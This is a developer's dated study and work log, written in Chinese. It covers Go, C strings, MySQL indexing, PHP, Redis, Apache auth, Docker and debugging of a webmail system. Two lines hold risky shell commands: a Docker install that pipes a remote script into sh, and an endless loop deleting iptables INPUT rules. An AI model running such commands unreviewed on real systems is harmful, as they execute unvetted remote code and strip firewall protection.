2.文本字符串一般被解釋爲採用UTF8編碼的Unicode碼點(rune)序列
3.內置的len函數能夠返回一個字符串中的字節數目
4.第i個字節並不必定是字符串的第i個字符,由於對於非ASCII字符的UTF8編碼會要兩個或多個字節
5.字符串操做基於原始字符串字節
6.字符串面值方式編寫,只要將一系列字節序列包含在雙引號內便可,解釋字符串,其中的相關的轉義字符將被替換;反引號括起來,支持換行,非解釋字符串
7.每一個符號都分配一個惟一的Unicode碼點,Unicode碼點對應Go語言中的rune整數類型
8.UTF8是一個將Unicode碼點編碼爲字節序列的變長編碼
9.變長的編碼沒法直接經過索引來訪問第n個字符
10.將字符串看做是字節(byte)的切片(slice)來實現對其標準索引法的操做
==========================================================================
2018年6月7日 記錄:
vim的多行註釋:
1.按ctrl + v進入 visual block模式
2.按上下選中要註釋的行
3.按大寫字母I,再插入註釋符,例如//
4.按兩下esc
5.按ctrl + v進入 visual block模式,按箭頭選中要取消的//
6.按d刪除
c語言字符數組和字符串:
1.存放字符的數組稱爲字符數組 char str[]
2.'\0'也被稱爲字符串結束標誌
3.由" "包圍的字符串會自動在末尾添加'\0'
4.逐個字符地給數組賦值並不會自動添加'\0'
5.局部變量初始化爲零值會自動添加結束標誌
6.直接使用一個指針指向字符串的形式 char* str
7.最根本的區別是在內存中的存儲區域不同,字符數組存儲在全局數據區或棧區,第二種形式的字符串存儲在常量區。全局數據區和棧區的字符串(也包括其餘數據)有讀取和寫入的權限,而常量區的字符串(也包括其餘數據)只有讀取權限,沒有寫入權限。
==========================================================================
2018年6月6日 記錄:
字符串包含算法:
1.時間複雜度O(n + m),空間複雜度O(1)
先把長字符串a中的全部字符都放入一個Hashtable裏,而後輪詢短字符串b,看短字符串b的每一個字符是否都在Hashtable裏,若是都存在,說明長字符串a包含短字符串b,不然,說明不包含
2.
用一個整數代替了hashtable,空間複雜度爲O(1),時間複雜度仍是O(n + m)
hash |= (1 << (a[i] - 'A'));
if ((hash & (1 << (b[i] - 'A'))) == 0)
==========================================================================
2018年6月5日 記錄:
發送羣發郵件時判斷郵件的大小,限制100M
filesize()獲取文件字節大小
unlink()刪除文件
rmdir()刪除目錄
旋轉字符串:
1.暴力移位法
2.三步反轉法
3.鏈表翻轉
4.尾部移到頭部
5.單詞翻轉
函數:描述客觀世界變化規律的重要數學模型,指數函數,對數函數,冪函數
指數:a的x次方,a ^ x
對數函數:a ^x=N,x叫作以a爲底N的對數,x=log(a)N [指數式化爲對數式],計算機上的log都是默認以10爲底的對數,所以log100 = 2,log1000 = 3
==========================================================================
2018年6月4日 記錄:
1.微軟經典的單詞翻轉題:輸入「I am a student.」,則輸出「student. a am I」。
==========================================================================
2018年6月1日 記錄:
Date: UTC時間
Authorization: SAE 用戶名:ssig
待作:獲取模板詳情讀取s3解析上傳圖片問題
==========================================================================
2018年5月31日 記錄:
==========================================================================
2018年5月30日 記錄:
redis羣發郵件問題:
1.auth 密碼
2.清空list ltrim key 1 0
3.fwrite()插入隊列的問題,必須fget一下
$line="lpush send_mass_mail {$row}\r\n";
$bool = fwrite($socket,$line);
$len = strlen($line);
$m = trim(fgets($socket));
==========================================================================
2018年5月29日 記錄:
分佈式文件系統是指文件系統管理的物理存儲資源不必定直接鏈接在本地節點上,而是經過計算機網絡與節點相連。分佈式文件系統的設計基於客戶機/服務器模式。
==========================================================================
2018年5月28日 記錄:
web的工做方式:
1.瀏覽器做爲客戶端請求DNS服務器,找到域名對應的服務器IP,創建TCP鏈接,發送HTTP Request包
服務器收到請求包處理,調用自身服務,返回HTTP Response包,瀏覽器收到後渲染包裏的body主體,收到所有內容後斷開鏈接
2.go的http包一個鏈接的處理流程
http.HandleFunc("/hello", HelloServer)
http.ListenAndServe(":12345", nil)
server := &Server{Addr: addr, Handler: handler}//經過結構體字面值語法進行初始化並取地址
server.ListenAndServe() //調用類型的方法
net.Listen("tcp", addr)//監聽端口
srv.Serve(tcpKeepAliveListener{ln.(*net.TCPListener)})//結構體字面值初始化第一種方式
for {
rw, e := l.Accept()
c := srv.newConn(rw)
go c.serve(ctx)
}
==========================================================================
2018年5月25日 記錄:
1.導入兩個有着名字相同的包,必須至少爲一個同名包指定一個新的包名以免衝突
2.計算包級變量的初始化表達式和執行導入包的init初始化函數,包的匿名導入
3.Go語言的工具箱集合了一系列功能的命令集
4.只須要配置一個名叫GOPATH的環境變量,用來指定當前工做目錄便可
5.工做區結構: src[存儲源代碼] bin[存儲編譯後的可執行程序] pkg[存儲編譯後包的目標文件]
6.環境變量GOROOT用來指定Go的安裝目錄,目錄結構和GOPATH類型
7.go env命令用於查看Go語言工具涉及的全部環境變量的值
8.go get能夠下載一個單一的包或者用...下載整個子目錄裏面的每一個包
9.go build sopans.com 編譯構建包,能夠經過環境變量找到
URL(Uniform Resource Locator)是「統一資源定位符:scheme://host[:port#]/path/.../[?query-string][#anchor]
DNS解析:遞歸查詢過程 就是 「查詢的遞交者」 更替, 而 迭代查詢過程 則是 「查詢的遞交者」不變
HTTP請求包:第一部分叫Request line(請求行), 第二部分叫Request header(請求頭),第三部分是body(主體)。header和body之間有個空行
HTTP協議是無狀態的和Connection: keep-alive:
1.HTTP是一個無狀態的面向鏈接的協議,無狀態不表明HTTP不能保持TCP鏈接
2.從HTTP/1.1起,默認都開啓了Keep-Alive保持鏈接特性
3.Keep-Alive不會永久保持鏈接,它有一個保持時間,能夠在不一樣服務器軟件(如Apache)中設置這個時間
==========================================================================
2018年5月24日 記錄:
申請redis服務:
申請服務器權限:
go語言聖經-包簡介:
1.模塊化的特性容許每一個包能夠被其它的不一樣項目共享和重用
2.每一個包通常都定義了一個不一樣的名字空間用於它內部的每一個標識符的訪問
3.控制包內名字的可見性和是否導出來實現封裝特性
4.修改了源文件必須從新編譯該源文件對應的包和全部依賴該包的其餘包
go語言聖經-包聲明
1.源文件的開頭都必須有包聲明語句,肯定當前包被其它包導入時默認的標識符(也稱爲包名)
2.默認包名通常採用導入路徑名的最後一段的約定
3.名字爲main的包是給go build(§10.7.3)構建命令一個信息,包編譯完以後必須調用鏈接器生成一個可執行程序
==========================================================================
2018年5月23日 記錄:
1.go test命令是一個按照約定和組織進行測試的程序
2.競爭檢查器 go run -race 附帶一個運行期對共享變量訪問工具的test,出現WARNING: DATA RACE 說明有數據競爭
3.理想狀況下是應該避免掉多餘的工做的,稱爲duplicate suppression(重複抑制/避免)
4.設計併發,不重複,無阻塞 cache
1.併發: go func(){}()直接啓動新的goroutine來實現
2.併發安全:使用sync.Mutex 互斥鎖來實現
3.無阻塞:get以前鎖定,賦值一個入口指針後立馬解鎖,而後進行http請求,這樣不會被慢的http請求阻塞住
4.不重複:利用channel,多個併發同時寫的時候,利用channel阻塞住,等第一個請求完寫完後關閉channel,其餘goroutine直接請求
==========================================================================
2018年5月22日 記錄:
1.interface{}是空接口類型,能夠將任意一個值賦給空接口類型,用類型斷言來獲取interface{}中值的方法
2.類型斷言檢查它操做對象的動態類型是否和斷言的類型匹配,是一個使用在接口值上的操做
練習 9.3: 擴展Func類型和(*Memo).Get方法,支持調用方提供一個可選的done channel,使其具有經過該channel來取消整個操做的能力(§8.9)。一個被取消了的Func的調用結果不該該被緩存。
==========================================================================
2018年5月21日 記錄:
3.header('Content-Disposition: attachment; filename="mass_list.txt"');下載文件
鎖表
LOCK TABLES tbl_name READ;
LOCK TABLES tbl_name WRITE;
UNLOCK TABLES;
主從同步:
mysqldump -d slave_test --master-data > dbdump.db
mysqldump -uroot -p -d slave_test > dbdump2.db
vimdiff dbdump.db dbdump2.db
==========================================================================
2018年5月18日 記錄:
數據庫持久鏈接:
1.持久的數據庫鏈接是指在腳本結束運行時不關閉的鏈接。當收到一個持久鏈接的請求時。PHP 將檢查是否已經存在一個(前面已經開啓的)相同的持久鏈接。若是存在,將直接使用這個鏈接;若是不存在,則創建一個新的鏈接。所謂「相同」的鏈接是指用相同的用戶名和密碼到相同主機的鏈接。
2.第一種方法是將 PHP 用做一個單獨運行的語言解釋器(CGI Wapper)。在這種狀況下,使用持久鏈接和非持久鏈接沒有任何區別——由於PHP腳本自己的執行不是持久的。
3.把 PHP 用做多進程 web 服務器的一個模塊,這種方法目前只適用於 Apache,相同的客戶端第二次向服務端提出請求時,它將有可能被一個不一樣的子進程來處理。在開啓了一個持久鏈接後,全部請求 SQL 服務的後繼頁面都可以重用這個已經創建的 SQL Server 鏈接。
4.在持久鏈接中使用數據表鎖時,若是腳本無論什麼緣由沒法釋放該數據表鎖,其隨後使用相同鏈接的腳本將會被持久的阻塞,使得須要從新啓動 httpd 服務或者數據庫服務。
5.使用事務處理時,若是腳本在事務阻塞產生前結束,則該阻塞也會影響到使用相同鏈接的下一個腳本
6.程序使用持久鏈接(PDO::ATTR_PERSISTENT)訪問數據庫,則一個PHP-FPM工做進程對應一個到MySQL的長鏈接.
請求結束後,PHP不會釋放到MySQL的鏈接,以便下次重用,這個過程對程序是透明的.
這能夠看做是PHP-FPM維護的"數據庫鏈接池".
7.非但不能節約MySQL資源,反而會加重數據庫的負荷。
PDO持久化鏈接:
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass, array(
PDO::ATTR_PERSISTENT => true
));
sync.Once惰性初始化:
一次性的初始化須要一個互斥量mutex和一個boolean變量來記錄初始化是否是已經完成了,互斥量用來保護boolean變量和客戶端數據結構
競爭檢查器(the race detector):在go build,go run或者go test命令後面加上-race的flag,可以記錄全部運行期對共享變量訪問工具的test
主流的WEB服務:REST,SOAP,RPC
1.REST是基於HTTP協議的一個補充,他的每一次請求都是一個HTTP請求,而後根據不一樣的method來處理不一樣的邏輯
2.SOAP是W3C在跨網絡信息傳遞和遠程計算機函數調用方面的一個標準。可是SOAP很是複雜
3.GO天生提供方便的RPC機制
4.有鏈接的流式Socket(SOCK_STREAM)TCP 和無鏈接數據報式Socket(SOCK_DGRAM)UDP
5.IPv4的地址位數爲32位,也就是最多有2的32次方的網絡設備能夠聯到Internet上,IPv6採用128位地址長度,幾乎能夠不受限制地提供地址
6.
==========================================================================
2018年5月17日 記錄:
GO環境變量:
$GOROOT GO的安裝目錄;$GOPATH GO的源碼目錄
windows下載地址:
https://storage.googleapis.com/golang/go1.10.1.windows-amd64.msi
ide下載地址:
https://jaist.dl.sourceforge.net/project/liteide/x33.3/liteidex33.3.windows-qt5.6.3.zip
sublimeText安裝插件:https://github.com/DisposaBoy/GoSublime,Preferences==>browse
競爭條件:
不管任什麼時候候,只要有兩個goroutine併發訪問同一變量,且至少其中的一個是寫操做的時候就會發生數據競爭。
練習 9.1: 給gopl.io/ch9/bank1程序添加一個Withdraw(amount int)取款函數。其返回結果應該要代表事務是成功了仍是由於沒有足夠資金失敗了。這條消息會被髮送給monitor的goroutine,且消息須要包含取款的額度和一個新的channel,這個新channel會被monitor goroutine來把boolean結果發回給Withdraw。
容許多個只讀操做並行執行,但寫操做會徹底互斥。這種鎖叫做「多讀單寫」鎖(multiple readers, single writer lock),Go語言提供的這樣的鎖是sync.RWMutex,「同步」不只僅是一堆goroutine執行順序的問題,一樣也會涉及到內存和本地緩存的問題
==========================================================================
2018年5月16日 記錄:
apache配置Directory目錄權限:
<Directory 目錄路徑>
#Options Indexes MultiViews #indexes容許目錄瀏覽
#AllowOverride All #容許.htaccess覆蓋
AllowOverride AuthConfig #身份認證
AuthName "login"
AuthUserFile /etc/apache2/.htpasswd
require valid-user
</Directory>
htpasswd -c /var/www/test/.htpasswd admin
鏈接管理:
1.每一個客戶端鏈接都會在服務器進程中擁有一個線程,這個鏈接的查詢只會在這個單獨的線程中執行,服務器會緩存線程,5.5及以上版本提供了API支持線程池,能夠使用池中的少許線程來服務大量鏈接
2.線程池與鏈接池區別,鏈接池是指客戶端,預先建立必定的鏈接,利用這些鏈接服務於客戶端請求,若是鏈接超過期須要將鏈接排隊
事務:
1.嚴格的ACID測試,原子性,一致性,隔離性,持久性
2.死鎖是指兩個或者多個事務在同一資源上相互佔用,並請求鎖定對方佔用的資源,致使惡性循環,部分或者徹底回滾其中一個事務才能打破死鎖
索引和鎖:
1.索引可讓查詢鎖定更少的行
2.索引能夠在存儲引擎層過濾掉不須要的行,從而減小在服務器層的鎖定行數
3.服務器層查詢行時候獲取到排他鎖,其餘鏈接查詢時會掛起
4.innodb在二級索引上使用共享鎖,訪問主鍵索引須要排他鎖
rpc:
1.遠程過程調用,兩臺服務器a,b,在a服務器上的應用
2.首先,要解決通信的問題,主要是經過在客戶端和服務器之間創建TCP鏈接
3.第二,要解決尋址的問題,也就是說,A服務器上的應用怎麼告訴底層的RPC框架,如何鏈接到B服務器(如主機或IP地址)以及特定的端口,方法的名稱名稱是什麼
4.第三,當A服務器上的應用發起遠程過程調用時,方法的參數須要經過底層的網絡協議如TCP傳遞到B服務器,因爲網絡協議是基於二進制的,內存中的參數的值要序列化成二進制的形式
5.第四,B服務器收到請求後,須要對參數進行反序列化(序列化的逆操做),恢復爲內存中的表達方式,而後找到對應的方法(尋址的一部分)進行本地調用
6.第五,返回值還要發送回服務器A上的應用,也要通過序列化的方式發送,服務器A接到後,再反序列化,恢復爲內存中的表達方式
==========================================================================
2018年5月15日 記錄:
主鍵索引和惟一索引的區別:
1.主鍵建立後必定包含一個惟一性索引,惟一性索引並不必定就是主鍵
2.惟一索引容許空值,而主鍵列不容許爲空值
3.一個表最多隻能建立一個主鍵,但能夠建立多個惟一索引
1.聚簇索引:不是一種單獨的索引類型,是一種數據存儲方式,在同一個結構中保存b樹索引和數據行,一個
表只能有一個聚簇索引,innodb經過主鍵彙集數據,二級索引(非聚簇)須要兩次索引查找,若是主鍵是一個隨機的
例如uuid,性能就會很糟糕,主鍵儘可能使用自增id.
2.覆蓋索引:一個索引覆蓋全部須要查詢的字段的值,稱爲覆蓋索引,對innodb表特別有用,查詢時在explain的extra列能夠看到using index,使用時也要符合最左前綴原則
3.索引掃描來作排序,explain後的type列是index,若是沒有覆蓋所有查詢列,速度慢,只有當索引的列順序和order by子句的順序徹底一致
而且全部列的排序順序都同樣,才能使用索引來作排序
==========================================================================
2018年5月14日 記錄:
索引基礎
1.mysql的索引工做相似一本書的目錄部分,想找某個特定主題,先查找書的目錄部分,找到對應的頁碼
2.ORM工具只能生成基本的合法的查詢
3.索引是在存儲引擎層實現的,不是服務器層
4.B-tree就是指的B樹,多叉平衡查找樹,不少存儲引擎使用的b+樹,下降磁盤I/O操做,將隨機i/o變成順序i/o
5.b樹意味着全部的值是按順序存儲的,每一個葉子頁到根的距離相同,葉子頁存儲了指向下一個葉子頁的指針
6.存儲引擎不須要全表掃描,從索引的根節點開始進行搜索
7.b樹索引還能夠用於order by和group by 操做
8.只有memory引擎顯式支持哈希索引,只支持等值比較=查詢速度很是快
9.在b樹基礎上創造僞哈希索引,自定義個哈希函數加個字段存儲,查詢語句相似:select * from test where crc_32('haha') and content='haha'
10.三星評價系統:一星 索引將相關記錄放一塊兒;二星 數據順序和查找順序一致;三星 索引中包含了所有查詢列
11.擴展:增長個元數據信息表,例如"哪一個用戶的信息存儲在哪一個表中"
高性能的使用索引策略
1.獨立的列
2.前綴索引和索引選擇性; 每一個列的前幾個字符 和 不重複的索引對總記錄數的比值
儘可能讓這個前綴的選擇性和完整列的選擇性接近,選擇性越高越好,這樣索引會小點
select count(distinct name)/count(*) as sel from test
3.多列索引,注意是否出現索引合併現象
4.選擇合適的索引列順序
選擇性高的字段放在前面
5.聚簇索引,innodb支持
6.覆蓋索引,不須要回表
==========================================================================
2018年5月11日 記錄:
兩個表添加索引:
alter table group0 add index idx_user(user);
alter table contact_group0 add index idx_user(user);
AuthName "Login"
AuthType basic
AuthUserFile "basic_users.conf"
require valid-user
企郵web:
1.查找webmail數據庫主從查詢讀寫分離
2.webmail查找添加數據庫索引問題
3.webmail遷移php7功能測試
4.特定瀏覽器webmail下載附件失敗問題
5.webmail首頁500錯誤問題查找
6.查找添加白名單問題
7.企管離職imap代收問題
企管:
企管離職管理項目二期上線
==========================================================================
2018年5月10日 記錄:
header("Access-Control-Allow-Origin: *");//跨域header頭
第九章:基於共享變量的併發
9.1.競爭條件
1.沒有辦法確認一個事件是在另外一個事件的前面或者後面發生的話,說明x和y這兩個事件是併發的
2.一個函數在併發的狀況下,依然能夠正常的工做,那麼就說這個函數是併發安全的
3.競爭條件指的是程序在多個goroutine交叉執行的時候,沒有給出正確的結果
4.只要有兩個goroutine併發訪問同一個變量,且至少其中的一個是寫操做的時候就會發生數據競爭
5.避免數據競爭:不要寫變量,避免從多個goroutine訪問變量,使用channel來查詢更新變量
==========================================================================
2018年5月9日 記錄:
配置文件中,換成主從:
corpinfo
'dsn' => array(
有些特殊的查詢,是指定的查詢的主庫:
Sina_Application::resource('corpinfo')->getConnection(Sina_Db_Adapter::MASTER)->prepare($strSql);
今天加的白名單問我爲啥8號的郵件落垃圾夾,查找添加到白名單的:
==========================================================================
2018年5月8日 記錄:
聊天服務:
1.讓一些用戶經過服務器向其餘全部用戶廣播文本消息
2.程序中有四種goroutine,main broadcaster 每一個客戶端鏈接handleConn clientWriter
==========================================================================
2018年5月7日 記錄:
find ./ -type f -name *sinamail.sina.net-access.log.0.gz|xargs zcat |grep "wa.php?a=add_contact"|wc -l
五月份添加聯繫人的個數:330
企郵登錄後主頁面白屏:
1.mysql拋出的異常中,code字段不是整形
而後php的exception接受code只容許整形
2.當異常時,記錄下當前執行的sql語句
==========================================================================
2018年5月4日 記錄:
==========================================================================
2018年5月3日 記錄:
圖:由頂點的有窮非空集合和頂點之間的邊集合組成,G(V,E)
==========================================================================
2018年5月2日 記錄:
併發和並行的區別:
併發是兩個隊列交替使用一臺咖啡機,並行是兩個隊列同時使用兩臺咖啡機,若是串行,一個隊列使用一臺咖啡機
操做系統中的堆棧與數據結構中的堆棧是兩個概念:
1.堆區(heap)通常由程序員分配釋放, 若程序員不釋放,程序結束時可能由OS回收,經過malloc和new等動態申請的內存
2.棧區(stack)— 由編譯器自動分配釋放 ,存放函數的參數值,局部變量的值等。其操做方式相似於數據結構中的棧。
Goroutines和線程:
1.動態棧:
1)線程都有一個固定大小的內存塊(通常會是2MB)來作棧
2)一個goroutine會以一個很小的棧開始其生命週期,通常只須要2KB,不是固定的;棧的大小會根據須要動態地伸縮
2.Goroutine調度:
1)線程是使用硬件定時器進行的調度,速度慢
2)Go是使用的本身的調度器,在線程的基礎上調度,不須要進入內核的上下文
3.GOMAXPROCS環境變量能夠肯定啓動多少線程同時執行go代碼
4.goroutine沒有能夠被程序員獲取到的身份(id)的概念
==========================================================================
2018年4月28日 記錄:
Go語言聖經-實現接口的條件
1.那麼關於interface{}類型,它沒有任何方法,請講出哪些具體的類型實現了它
2.interface{}被稱爲空接口類型,空接口類型對實現它的類型沒有要求,因此咱們能夠將任意一個值賦給空接口類型
3.由於接口實現只依賴於判斷的兩個類型的方法,因此沒有必要定義一個具體類型和它實現的接口之間的關係
Go語言聖經-channels
1.若是說goroutine是Go語言程序的併發體的話,那麼channels則是它們之間的通訊機制。
systemctl命令是系統服務管理器指令,它實際上將 service 和 chkconfig 這兩個命令組合到一塊兒。
http://man.linuxde.net/systemctl
systemctl enable httpd.service 使某服務自動啓動
==========================================================================
2018年4月27日 記錄:
下載附件失敗問題:
在a標籤加download屬性後,跳轉丟失cookie
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36"
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; Tablet PC 2.0; MARKANYEPS#25111; SMJB; printmade=3.0.0.8; Microsoft Outlook 14.0.7189; ms-office; MSOffice 14)"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; MARKANYREPORT#25106; printmade=3.0.0.8; Microsoft Outlook 14.0.7197; ms-office; MSOffice 14)"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; MARKANYREPORT#25106; printmade=3.0.0.8; Microsoft Outlook 14.0.7197; ms-office; MSOffice 14)"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; MARKANYREPORT#25106; printmade=3.0.0.8; Microsoft Outlook 14.0.7197; ms-office; MSOffice 14)"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; Microsoft Outlook 14.0.7197; ms-office; MSOffice 14)"
==========================================================================
2018年4月26日 記錄:
S類型的結構體能夠包含*S指針類型的成員,這可讓咱們建立遞歸的數據結構,好比鏈表和樹結構等
二叉樹來實現一個插入排序:
type tree struct {}
func Sort(values []int) {}插入而且排好序
func add(t *tree, value int) *tree {}往樹中增長元素
func appendValues(values []int, t *tree) []int {}按照樹的順序把樹中的值,追加到一個slice中
PHP文件進行加密——ZendGuard加密與ZendLoader解密
Go語言聖經-接口類型
1.接口類型具體描述了一系列方法的集合,一個實現了這些方法的具體類型是這個接口類型的實例
2.有些新的接口類型經過組合已經有的接口來定義,和結構內嵌類似,接口內嵌
練習 7.4: strings.NewReader函數經過讀取一個string參數返回一個知足io.Reader接口類型的值(和其它值)。實現一個簡單版本的NewReader,並用它來構造一個接收字符串輸入的HTML解析器(§5.2)
go語言隱藏式接口:
interface-數據解耦
鴨子理論-長得像咱們就把它當作同樣的好了
==========================================================================
2018年4月25日 記錄:
1.獲取模板列表
2.獲取模板詳情
從1開始數:
第12位: 用戶是否開通IMAP(1是未開通,0是 開通狀態)
第29位:web 登陸 ( 1 是不容許登陸)
su -s /bin/bash -c "ls" www
使用nologin用戶運行程序
==========================================================================
2018年4月24日 記錄:
1.咱們看到的類型都是具體的類型。一個具體的類型能夠準確的描述它所表明的值,而且展現出對類型自己的一些操做方式
2.Go語言中還存在着另一種類型:接口類型。接口類型是一種抽象的類型,當你有看到一個接口類型的值時,你不知道它是什麼,惟一知道的就是能夠經過它的方法來作什麼
3.一個類型能夠自由的使用另外一個知足相同接口的類型來進行替換被稱做可替換性(LSP里氏替換)。這是一個面向對象的特徵
讀寫分離:
if (strcasecmp($cmd, 'select') === 0) {
$conn = $this->getConnection(self::SLAVE);
} else {
$conn = $this->getConnection(self::MASTER);
}
特別提示: 報名所需證件
A、 身份證 B、一寸白底彩色照片6張露耳免冠照(近視須要帶眼鏡拍攝)C、外地身份證須要居住卡或居住證(3個月有效期)D、機動車駕駛員申請專項體檢合格證實。
==========================================================================
2018年4月23日 記錄:
1.Linux 發展出了另外一種虛擬化技術:Linux 容器(Linux Containers,縮寫爲 LXC)
2.Linux 容器不是模擬一個完整的操做系統,而是對進程進行隔離
3.Docker 屬於 Linux 容器的一種封裝,提供簡單易用的容器使用接口
4.Docker 是服務器----客戶端架構。命令行運行docker命令的時候,須要本機有 Docker 服務
curl -sSL https://get.docker.com/ | sh
service docker start
5.Docker 把應用程序及其依賴,打包在 image 文件裏面
6.容器實例,自己也是一個文件,稱爲容器文件
docker image pull 名稱 //拉取image文件
docker image ls//列出全部image
docker image rm [imageName] //刪除 image 文件
docker container run hello-world //運行image文件
docker container start [containID]//運行已經存在的容器
docker container kill [containID] //終止容器
docker container ls --all //列出全部容器,包括終止的
docker container rm [containID]//刪除容器
hello-world:
1.docker run hello-world
2.沒有這個image會自動拉取鏡像,而後運行起來
在ubuntu的docker中運行ubuntu
1.docker container run -p 6666:80 -it dc86b7b90238 bash //端口映射外面的6666到內部的80
2.docker container exec -it 3ce8952ce68d bash //在運行的容器中執行命令,-i
在ubuntu的docker中運行centos
1.docker pull centos:6
2.給運行的容器映射本地端口
1)docker commit 6e54eac36507 centos_image1//提交運行中的容器爲一個鏡像
2)docker run -d -it -p 6667:80 centos_image1 /bin/bash //重新run新的鏡像
製做本身的 Docker 容器
1. .dockerignore 忽略打包的文件
2. Dockerfile 文件
3. docker image build -t koa-demo . //建立image文件
4. docker container run -p 8000:3000 -it koa-demo /bin/bash //從image文件生成容器運行
容器的 3000 端口映射到本機的 8000 端口,-it參數 容器的 Shell 映射到當前的 Shell
==========================================================================
2018年4月20日 記錄:
session的跨子域名問題:
ini_set('session.cookie_path', '/');
ini_set('session.cookie_domain', '.mydomain.com');
ini_set('session.cookie_lifetime', '1800');
Go語言聖經-經過嵌入結構體來擴展類型
1.Go語言提供的不一樣尋常的結構體嵌入機制讓一個命名的結構體包含另外一個結構體類型的匿名成員
2.對於類型的方法咱們也有相似的用法,相似於繼承,可是隻繼承了方法
Go語言聖經-方法值和方法表達式
1.p.Distance叫做「選擇器」,選擇器會返回一個方法"值"->一個將方法(Point.Distance)綁定到特定接收器變量的函數
2.當T是一個類型時,方法表達式可能會寫做T.f或者(*T).f,會返回一個函數"值",這種函數會將其第一個參數用做接收器,因此能夠用一般(譯註:不寫選擇器)的方式來對其進行調用
3.看起來本書中函數和方法的區別是指有沒有接收器,而不像其餘語言那樣是指有沒有返回值。
Go語言聖經-示例: Bit數組
1.Go語言裏的集合通常會用map[T]bool這種形式來表示,T表明元素類型
2.在數據流分析領域,集合元素一般是一個非負整數,集合會包含不少元素,而且集合會常常進行並集、交集操做,bit數組會比map表現更加理想
==========================================================================
2018年4月19日 記錄:
企管離職管理獲取代收imap信息內部接口
array_unshift頭部添加元素
array_push尾部添加元素
一個操做若是屢次任意執行所產生的影響(或者叫反作用),都是相同的。
1.調用方發起建立訂單的請求,訂單系統收到了,併成功建立訂單了。可是因爲系統緣由或者網絡緣由等,沒有及時告知調用方訂單已經建立成功,調用方一直等待回覆,直到超時了。調用方再次發起了建立訂單的請求,這個時候就可能會生成多個訂單。
2.使用一個惟一的流水號ID,用來標識是否是同一個請求或者交易。這種ID一般都須要具有全局惟一性。假設讓客戶端來生成這個ID,
1)先將這個ID保存到一個流水錶裏面,而且流水錶中將這個ID設置爲UNIQUE KEY,若是插入出現衝突了,則說明這個建立訂單的請求已經處理過了,直接返回以前的操做結果。
2)萬一調用方進行重試的時候,從新生成一個流水號,那就沒得救了,會生成多個訂單了。這個只能讓客戶端來保證了。
Go語言聖經-方法
1.OOP編程的兩個關鍵點,封裝和組合。
2.Go沒有被大衆所接受的明確的OOP的定義:一個對象其實也就是一個簡單的值或者一個變量,在這個對象中會包含一些方法,而一個方法則是一個一個和特殊類型關聯的函數
3.在函數聲明時,在其名字以前放上一個變量,便是一個方法,這個附加的參數會將該函數附加到這種類型上,即至關於爲這種類型定義了一個獨佔的方法。
4.咱們並不會像其它語言那樣用this或者self做爲接收器;咱們能夠任意的選擇接收器的名字。因爲接收器的名字常常會被使用到
func (p Point) Distance(q Point) float64 {}
p.Distance(q) 方法調用
math.Hypot計算兩點之間的距離
5.上面的代碼裏那個附加的參數p,叫作方法的接收器(receiver)
6.這種p.Distance的表達式叫作選擇器,由於他會選擇合適的對應p這個對象的Distance方法來執行
7.在可以給任意類型定義方法這一點上,Go和不少其它的面向對象的語言不太同樣。所以在Go語言裏,咱們爲一些簡單的數值、字符串、slice、map來定義一些附加行爲很方便
8.對於一個給定的類型,其內部的方法都必須有惟一的方法名,可是不一樣的類型卻能夠有一樣的方法名
9.當咱們在包外調用的時候這種好處就會被放大,由於咱們能夠使用這個短名字,而能夠省略掉包的名字
==========================================================================
2018年4月18日 記錄:
Go語言聖經-匿名函數-警告:捕獲迭代變量
1.將介紹Go詞法做用域的一個陷阱
在循環體中用循環變量d賦值一個新的局部變量,問題的緣由在於循環變量的做用域
2.在該循環中生成的全部函數值都共享相同的循環變量
3.一般,爲了解決這個問題,咱們會引入一個與循環變量同名的局部變量,做爲循環變量的副本。
Go語言聖經-可變參數
1.參數數量可變的函數稱爲爲可變參數函數,例子就是fmt.Printf和相似函數
2.參數列表的最後一個參數類型以前加上省略符號「...」
3.雖然在可變參數函數內部,...int 型參數的行爲看起來很像切片類型,但實際上,可變參數函數和以切片做爲參數的函數是不一樣的
類型不一樣:fmt.Printf("%T\n", f)
4.函數名的後綴f是一種通用的命名規範,表明該可變參數函數能夠接收Printf風格的格式化字符串
5.interfac{}表示函數的最後一個參數能夠接收任意類型
Go語言聖經-Deferred函數
在調用普通函數或方法前加上關鍵字defer,就完成了defer所須要的語法。當defer語句被執行時,跟在defer後面的函數會被延遲執行
==========================================================================
2018年4月17日 記錄:
Redis 哈希(Hash)
Redis hash 是一個string類型的field和value的映射表,hash特別適合用於存儲對象。
Redis 中每一個 hash 能夠存儲 232 - 1 鍵值對(40多億)。
hget hset
QUIC(Quick UDP Internet Connection)是谷歌制定的一種基於UDP的低時延的互聯網傳輸層協議
QUIC很好地解決了當今傳輸層和應用層面臨的各類需求,包括處理更多的鏈接,安全性,和低延遲。QUIC融合了包括TCP,TLS,HTTP/2等協議的特性,但基於UDP傳輸。
404的網站被iptables防火牆攔了while [ 1 ] ;do iptables -D INPUT 1 ;done;
